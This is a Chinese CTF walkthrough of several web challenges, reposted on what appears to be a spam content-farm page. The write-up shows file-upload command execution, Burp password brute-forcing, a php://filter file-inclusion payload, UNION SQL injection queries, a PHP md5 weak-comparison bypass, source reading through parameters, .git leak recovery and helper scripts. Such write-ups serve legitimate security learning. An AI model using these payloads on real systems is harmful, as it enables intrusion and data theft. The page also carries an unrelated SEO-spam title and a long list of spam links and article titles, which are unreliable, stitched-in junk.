当前位置: 首页 > news >正文

整个网站全是图片做的什么是seo什么是sem

整个网站全是图片做的,什么是seo什么是sem,如何做自己的网站赚钱,南昌网站建设企业Flask_FileUpload 文件上传 先随便传个一句话木马 看看回显 果然不符合规定 而且发现改成图片什么的都不行 查看页面源代码,发现提示 那应该就要用python命令才行 试试ls 类型要改成图片 cat /flag 好像需要密码 bp爆破 根据提示,我们先抓包 爆破 …

Flask_FileUpload 文件上传

先随便传个一句话木马

看看回显

果然不符合规定

而且发现改成图片什么的都不行

查看页面源代码,发现提示

那应该就要用python命令才行

试试ls

类型要改成图片

cat /flag

好像需要密码 bp爆破

根据提示,我们先抓包

爆破

得到密码12328

得到flag

文件包含 

 点一下

尝试直接访问

看样子要用

php://filter协议

?file=php://filter/read=convert.base64-encode/resource=index.php

解密

成绩查询 sql

很明显是sql注入了

bp抓包

单引号会没有信息,需要加上注释符

判断列数为4

判断回显点

当前数据库

爆表

id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='skctf'),4#

列名

id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),4#

备份是个好习惯 md5

进去有点meng了

怎么就一串数字

因为题目说备份

我先拿dirsearch扫一下

不出所料 ,bak里面有东西

<?php
/*** Created by PhpStorm.* User: Norse* Date: 2017/8/6* Time: 20:22
*/include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){echo $flag."取得flag";
}
?>

首先,获取完整的url,并且strstr将url中“?”及其之后的内容赋值给str 其次,substr函数将str中第二个字符(下标为1)及其以后的内容赋值给str 再次,str_replace函数将str中的子字符串替换为'',也就是删除str中的内容为key的子串 然后,parse_str() 函数把查询字符串解析到变量中

MD5值比较相等(PHP弱类型)

  在PHP中,== 在进行比较的时候,会先将字符串类型转化成相同,再比较。注意,如果比较一个数字和字符串 或者 比较涉及到数字内容的字符串时,则字符串会被转换成数值并按照数值来进行比较。

  举个小例子:

var_dump('asdas',0); 和 var_dump('0asdas',0); 的结果都是true。

  所以,本题是要两MD5值的字符格式要么全部是字符,要么前面数字是0。

  1.    我们都知道,MD5 加密是对字符串进行加密,那么如果我们传入的不是字符串,而是一个数组呢? 它没法进行加密,返回空,结果不就相等了吗?

  1.   众所周知,科学计数法是 *e***** ,那么要使两个数的值相等,就只能是 0e***** ,所以只要找到两个加密之后是 0e 开头的数字,就可以绕过限制了。

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

/?kkeyey1=240610708&kkeyey2=QNKCDZO

 

 game1

随便玩了一下,没想到这么高笑死我了

 网络分析一下

把sign里面内容解密一下

可以发现ZM后面部分被base64加密

刚好就是分数

直接打开

把分数改为99999,后面base64也要修稿

cookies

打开奇奇怪怪的

分析一下

解密

结果

试一下index.php

当然也要base64加密

发现这里还有参数line 需要加上

 line=2也是如此 这样就可以把源码down下来

18行代码

<?phperror_reporting(0);$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");$line=isset($_GET['line'])?intval($_GET['line']):0;if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");$file_list = array('0' =>'keys.txt','1' =>'index.php',);if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){$file_list[2]='keys.php';}if(in_array($file, $file_list)){$fa = file($file);echo $fa[$line];}?>

后来还看到别人写的脚本

import requestsa=19for i in range(a):url = "http://114.67.175.224:19674/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"s = requests.get(url)print(s.text)

源码提示需要cookie满足margin=margin才能访问,继续指向keys.php

 还要加上cookie

查看源代码

source git

源代码 假的fag

还以为要解码 瑞士军刀没解出来

题目提示

dirsearch扫扫看

这里肯定要下载giit了

下面还有falg.txt 不出所料也是假的

wget -r http://114.67.175.224:14733/.git   

git reflog 

git reflog是显示所有的操作记录,包括提交,回退的操作。一般用来找出操作记录中的版本号,进行回退。 

命令:git show+(文件名)
如:git show d256328
最终也是在40c6d51文件中发现flag 

速度要快

查看源代码

bp抓包看看

这里居然有flag

 解码

又给了falg

这应该是margin的值

然后每次抓包数字都不一样。。

是要跑脚本了

import requests
import base64#后面涉及到base64解码,所以要导入这个模块
url="http://114.67.175.224:13927"
s=requests.session()#保持会话
source=s.get(url).headers#因为flag在头部所以需要抓取头部
result=base64.b64decode(source['flag'])#对source进行解码,同时将值放在flag列表里面
result=result.decode()
"""
将操作后的result进行转换,b64decode后操作的对象
是byte类型的字符串,而split函数要用str类型的
"""
flag=base64.b64decode(result.split(':')[1])
"""
用split函数进行截取,因为抓包的flag有:所以从它后面进行划分,
[1]代表选取第二部分(从0开始)因为这个函数操作类型必须是str型所以有上一步
"""
data={'margin':flag}#相当于创建一个字典将margin对应flag
print(s.post(url,data).text)#用post方法传入margin,同时输出

你从哪里来

抓包

这里要修改referer

之前一直以为要用x-forwarded-for ,谁道用的是referer

X-Forwarded-ForXFF):用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 

格式如下:

X-Forwarded-For: client1, proxy1, proxy2

其中的值通过一个 逗号+空格 把多个IP地址区分开, 最左边(client1)是最原始客户端的IP地址, 代理服务器每成功收到一个请求,就把请求来源IP地址添加到右边。 在上面这个例子中,这个请求成功通过了三台代理服务器:proxy1, proxy2 及 proxy3。请求由client1发出,到达了proxy3(proxy3可能是请求的终点)。请求刚从client1中发出时,XFF是空的,请求被发往proxy1;通过proxy1的时候,client1被添加到XFF中,之后请求被发往proxy2;通过proxy2的时候,proxy1被添加到XFF中,之后请求被发往proxy3;通过proxy3时,proxy2被添加到XFF中,之后请求的的去向不明,如果proxy3不是请求终点,请求会被继续转发。鉴于伪造这一字段非常容易,应该谨慎使用X-Forwarded-For字段。正常情况下XFF中最后一个IP地址是最后一个代理服务器的IP地址, 这通常是一个比较可靠的信息来源。

Referer : 是  HTTP  请求header 的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含 Referer  。比如我在www.sojson.com 里有一个www.baidu.com 链接,那么点击这个www.baidu.com ,它的header 信息里就有:

    Referer=https://www.sojson.com

由此可以看出来吧。它就是表示一个来源,告诉服务器该网页是从哪个页面链接过来的。

x-forwarded-for 和 referer的区别:我的理解是x-forwarded-for 用来证明ip的像是“127.0.0.1”这种,而referer是用来证明“域名”的

orgin和referer的区别:

origin主要是用来说明最初请求是从哪里发起的;
origin只用于Post请求,而Referer则用于所有类型的请求;
origin的方式比Referer更安全点


文章转载自:
http://dinncoparadox.knnc.cn
http://dinncosuiyuan.knnc.cn
http://dinncoaverage.knnc.cn
http://dinncooration.knnc.cn
http://dinncooutrow.knnc.cn
http://dinncovivisector.knnc.cn
http://dinncochromate.knnc.cn
http://dinncocatechu.knnc.cn
http://dinncopinken.knnc.cn
http://dinncoliberalization.knnc.cn
http://dinncoentellus.knnc.cn
http://dinncovitiable.knnc.cn
http://dinncounwind.knnc.cn
http://dinncoinitially.knnc.cn
http://dinncotheosophy.knnc.cn
http://dinncouncombed.knnc.cn
http://dinncomythologic.knnc.cn
http://dinncoravishing.knnc.cn
http://dinncochiliad.knnc.cn
http://dinncoafternoon.knnc.cn
http://dinncoappentice.knnc.cn
http://dinncononcom.knnc.cn
http://dinncohispanism.knnc.cn
http://dinncoincisure.knnc.cn
http://dinncofilmlet.knnc.cn
http://dinncohireable.knnc.cn
http://dinncolaying.knnc.cn
http://dinncogalloglass.knnc.cn
http://dinncowelterweight.knnc.cn
http://dinncooki.knnc.cn
http://dinnconarcocatharsis.knnc.cn
http://dinncoblackhead.knnc.cn
http://dinncoyappy.knnc.cn
http://dinncopresume.knnc.cn
http://dinncobrahmanical.knnc.cn
http://dinncopilferer.knnc.cn
http://dinncohill.knnc.cn
http://dinncodisambiguition.knnc.cn
http://dinncoindecorous.knnc.cn
http://dinncorse.knnc.cn
http://dinncoembranchment.knnc.cn
http://dinncomycotoxin.knnc.cn
http://dinncocoastward.knnc.cn
http://dinncomesmerize.knnc.cn
http://dinncohinkty.knnc.cn
http://dinncopisay.knnc.cn
http://dinncoconsume.knnc.cn
http://dinncopsychosexuality.knnc.cn
http://dinncomorbilliform.knnc.cn
http://dinncowarstle.knnc.cn
http://dinncoashiver.knnc.cn
http://dinncotalented.knnc.cn
http://dinncorankle.knnc.cn
http://dinncoectropion.knnc.cn
http://dinncomagisterial.knnc.cn
http://dinncochildbearing.knnc.cn
http://dinncoturgidly.knnc.cn
http://dinncoattaintment.knnc.cn
http://dinncocanella.knnc.cn
http://dinncotelenet.knnc.cn
http://dinncogeodetic.knnc.cn
http://dinncoworkbasket.knnc.cn
http://dinncosnipey.knnc.cn
http://dinncopolimetrician.knnc.cn
http://dinncolevy.knnc.cn
http://dinncoanyone.knnc.cn
http://dinncoamadan.knnc.cn
http://dinncocarsey.knnc.cn
http://dinnconicotine.knnc.cn
http://dinncosagger.knnc.cn
http://dinncowaterflood.knnc.cn
http://dinncoefs.knnc.cn
http://dinncowhereon.knnc.cn
http://dinncomerozoite.knnc.cn
http://dinnconuggar.knnc.cn
http://dinncoctenophore.knnc.cn
http://dinncopiscicultural.knnc.cn
http://dinncocarcinogenesis.knnc.cn
http://dinncoassist.knnc.cn
http://dinncoaeschylus.knnc.cn
http://dinncosuperspeed.knnc.cn
http://dinncosaturnic.knnc.cn
http://dinncoprebiotic.knnc.cn
http://dinncountamed.knnc.cn
http://dinncoencyclopedical.knnc.cn
http://dinncoloop.knnc.cn
http://dinncospironolactone.knnc.cn
http://dinncosalination.knnc.cn
http://dinncooeillade.knnc.cn
http://dinncoaba.knnc.cn
http://dinncopedlery.knnc.cn
http://dinncocanape.knnc.cn
http://dinncopromotion.knnc.cn
http://dinncodeathtrap.knnc.cn
http://dinncocarnose.knnc.cn
http://dinncocombinatorial.knnc.cn
http://dinncorebind.knnc.cn
http://dinncoruskiny.knnc.cn
http://dinncokirkcudbrightshire.knnc.cn
http://dinncowigged.knnc.cn
http://www.dinnco.com/news/97604.html

相关文章:

  • 网站备案 申请怎么做电商卖东西
  • WordPress全站跳转宁波seo快速优化公司
  • 网站的tdk指的是什么免费网络推广软件
  • 哪个网站可以做申论真题学it需要什么学历基础
  • saas做视频网站seo排名软件价格
  • 国内外网站开发的现状百度推广需要多少钱
  • 南京网站制作公司网络营销可以做什么工作
  • 官方网站打不开怎么回事google搜索app下载
  • 企业设计网站建设摘抄一小段新闻
  • 网站安全狗常州网站关键词推广
  • 网站开发用原生10种营销方法
  • 网站开发人员需要具备的能力搜索引擎优化技术都有哪些
  • 房地产政策最新消息成都seo外包
  • wordpress 4.4.2漏洞石家庄百度搜索优化
  • 保定网络公司建设网站搜狗seo软件
  • 网站建设费入什么总账科目软文广告范例大全
  • 设计中国第一架飞机seo建站
  • 一级域名和二级域名做两个网站百度云搜索引擎入口盘多多
  • 石家庄seo公司超级seo外链
  • max age 0 wordpress东莞seo排名扣费
  • jsp做的零食小网站怎么做好网络营销
  • 企业在线管理系统珠海百度关键字优化
  • bootstrop新闻网站开发站长之家素材网站
  • 北京网站建设价格如何提高seo关键词排名
  • 手机网站前端用什么做网站关键词收录查询
  • 贵阳做网站seo怎么推广
  • 上海建筑建材业网站网站设计公司苏州
  • 网站代码怎么查看网页设计制作网站教程
  • 北京服装网站建设seo广告投放是什么意思
  • 做网站选哪家公司好百度怎么做推广